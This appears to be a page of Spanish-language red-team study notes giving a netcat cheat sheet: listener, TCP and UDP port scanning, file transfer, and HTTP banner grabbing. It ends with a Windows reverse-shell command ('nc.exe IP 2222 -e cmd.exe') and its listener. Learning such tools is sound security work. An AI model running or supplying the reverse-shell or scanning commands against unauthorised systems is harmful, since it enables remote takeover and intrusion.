> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/apuntes/red-team/tools/netcat.md).

# Netcat

## Listen

```bash
nc -lvnp 2222
```

## TCP Scanning

```bash
nc -vnz IP 1-100 #1-100 rango de puertos
```

## UDP Scanning

```bash
nc -vzu IP 161 #161 puerto
```

## File transfer

### Enviar archivo

```bash
nc -lvp 5555 < file.txt
```

### Obtener archivo

```bash
nc IP 5555 > file.txt
```

## Grabbing HTTP Banner

```bash
printf "GET / HTTP/1.0\r\n\r\n" | nc IP 80
```

## Windows reverse connection

```powershell
nc.exe IP 2222 -e cmd.exe
```

```bash
nc -lvnp 2222
```
